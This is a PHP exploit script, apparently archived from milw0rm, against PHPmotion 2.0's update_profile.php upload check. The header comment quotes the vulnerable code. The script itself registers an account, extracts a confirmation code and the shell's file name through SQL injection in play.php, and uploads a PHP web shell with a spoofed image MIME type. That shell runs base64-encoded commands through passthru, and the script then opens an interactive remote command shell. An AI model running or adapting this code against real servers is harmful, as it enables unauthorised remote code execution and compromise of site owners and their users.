PHPmotion 2.0 - 'update_profile.php' Arbitrary File Upload

<?php

/*
	-----------------------------------------------------------------
	PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit
	-----------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.phpmotion.com/
	details..: don't works on windows platforms due to $_FILES['ufile']['tmp_name'] is stripslashed

	[-] vulnerable code in /update_profile.php
	
	255.	    // START OF FILE UPLOAD AND SECURITY CHECK
	256.	    $limit_size = $config['maximum_size'];//you can change this to a higher file size limit (this is in bytes = 2MB apprx)
	257.	    $random = randomcode();//create random number
	258.	    $uniquename1 = $random . $_FILES['ufile']['name'];//add random number to file name to create unique file
	259.	    $uniquename = mysql_real_escape_string($uniquename1);
	260.	    $path = installation_paths();
	261.	    $path = $path . "/pictures/" . $uniquename;
	262.	
	263.	    if ($_FILES) {
	264.	        // Store upload file size in $file_size
	265.	        $file_size = $_FILES['ufile']['size'];
	266.			//die("\$file_size = $file_size; \$limit_size = $limit_size;");
	267.	
	268.	        if ($file_size >= $limit_size) {
	269.	            // Display file size error
	270.	            // ///////////////////////
	271.	            $show = 1;
	272.	            $message_type = $config["notification_success"];//the messsage displayed at the top coner
	273.	            $error_message = 'Your image is too large. The maximum size allowed is: ' . $config['maximum_size_human_readale'];
	274.	            $blk_id = 1;//html table - error block
	275.	            $template = "templates/main_1.htm";
	276.	            $inner_template1 = "templates/inner_myaccount_update_profile.htm";//middle of page
	277.	            $TBS = new clsTinyButStrong;
	278.	            $TBS->NoErr = true;// no more error message displayed.
	279.	            $TBS->LoadTemplate("$template");
	280.	            $TBS->Render = TBS_OUTPUT;
	281.	            $TBS->Show();
	282.	            
	283.	            @mysql_close();
	284.	            die();
	285.	        }
	286.	        else {
	287.	            $filetype = $_FILES['ufile']['type']; <=======
	288.	            if ($filetype == "image/gif" || $filetype == "image/jpeg" || $filetype ==
	289.	                "image/pjpeg") {
	290.	                // copy file to where you want to store file
	291.	                if (@copy($_FILES['ufile']['tmp_name'], $path)) {
	292.	                }
	293.	                else {
	294.	                    // Display general file copy error
	
	an attacker might be able to upload arbitrary malicious files with .php extension due to the code
	near lines 287-289 will check only the MIME type of the upload request, that can be easily spoofed!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

// yes, SQL injection vulnerable too!
function retrive_data($field, $table, $clause)
{
	global $host, $path;
	
	$sql = "-1/**/UNION/**/SELECT/**/".str_repeat("1,",16)."{$field},".encodeSQL("yes").",1,1,1/**/FROM/**/{$table}/**/WHERE/**/{$clause}%23";

	$packet  = "GET {$path}play.php?vid={$sql} HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Connection: close\r\n\r\n";

	preg_match("/play.php\?vid=(.*)\"/", http_send($host, $packet), $match);
	return $match[1];
}

function encodeSQL($sql)
{
	for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i]));
	return "CONCAT(0x{$encoded})";
}

function upload()
{
	global $host, $path, $sid, $username;

	login();
	
	print "[-] Trying to upload a shell...\n";
	
	$payload  = "--o0oOo0o\r\n";
	$payload .= "Content-Disposition: form-data; name=\"submitted_pic\"\r\n\r\nyes\r\n";
	$payload .= "--o0oOo0o\r\n";
	$payload .= "Content-Disposition: form-data; name=\"ufile\"; filename=\".php\"\r\n";
	$payload .= "Content-Type: image/jpeg\r\n\r\n";
	$payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
	$payload .= "--o0oOo0o--\r\n";
	
	$packet  = "POST {$path}update_profile.php HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Cookie: PHPSESSID={$sid}\r\n";
	$packet .= "Content-Length: ".strlen($payload)."\r\n";
	$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
	$packet .= "Connection: close\r\n\r\n";
	$packet .= $payload;

	http_send($host, $packet);
	
	$user_id = (int) retrive_data("user_id", "member_profile", "user_name=".encodeSQL($username));
	$file_name = retrive_data("file_name", "pictures", "user_id={$user_id}");
	
	if (!isset($file_name)) die("\n[-] Upload failed...\n");
	else return $file_name;
}

function login()
{
	global $host, $path, $username, $password, $sid;
	
	print "\n[-] Logging in with username '{$username}' and password '{$password}'\n";
	
	$data	= "user_name_login={$username}&password_login={$password}&submitted=yes";
	$packet = "POST {$path}login.php HTTP/1.0\r\n";
	$packet.= "Host: {$host}\r\n";
	$packet.= "Content-Length: ".strlen($data)."\r\n";
	$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
	$packet.= "Connection: close\r\n\r\n";
	$packet.= $data;
	$html	= http_send($host, $packet);
	
	preg_match("/PHPSESSID=([0-9a-f]{32})/i", $html, $match);
	$sid = $match[1];
	
	if (!preg_match("/Location: myaccount.php/i", $html))
	{
		print "[-] Login failed!\n";
		register();
		login();
	}
}

function register()
{
	global $host, $path, $username, $password;
	
	print "\n[-] Registering new user '{$username}' with password '{$password}'\n";
	
	// register a new account
	$data	= "user_name={$username}";
	$data  .= "&password={$password}";
	$data  .= "&confirm_password={$password}";
	$data  .= "&email_address=".md5(time())."@null.com";
	$data  .= "&form_submitted=yes";
	$data  .= "&terms=yes";
	$packet = "POST {$path}register.php HTTP/1.0\r\n";
	$packet.= "Host: {$host}\r\n";
	$packet.= "Content-Length: ".strlen($data)."\r\n";
	$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
	$packet.= "Connection: close\r\n\r\n";
	$packet.= $data;
	
	http_send($host, $packet);
	
	$code = retrive_data("random_code", "member_profile", "user_name=".encodeSQL($username));
	if (!isset($code)) die("\n[-] Registration failed...\n");
	
	// and confirm the registration
	$packet = "GET {$path}confirm.php?id={$code} HTTP/1.0\r\n";
	$packet.= "Host: {$host}\r\n";
	$packet.= "Connection: close\r\n\r\n";
	
	if (!preg_match("/registration is now complete/i", http_send($host, $packet))) die("\n[-] Registration failed...\n");
}

print "\n+---------------------------------------------------------------------------+";
print "\n| PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit by EgiX |";
print "\n+---------------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path\n";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /phpmotion/\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

$username = "pr00f_0f";
$password = "_c0nc3pt";

$r_path = "pictures/".upload();

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
	print "\nphpmotion-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$packet = "GET {$path}{$r_path} HTTP/1.0\r\n";
		$packet.= "Host: {$host}\r\n";
		$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
		$packet.= "Connection: close\r\n\r\n";
		$output = http_send($host, $packet);
		if (!preg_match("/_code_/", $output)) die("\n[-] Exploit failed...\n");
		$shell = explode("_code_", $output);
		print "\n{$shell[1]}";
	}
	else break;
}

?>

# milw0rm.com [2008-06-25]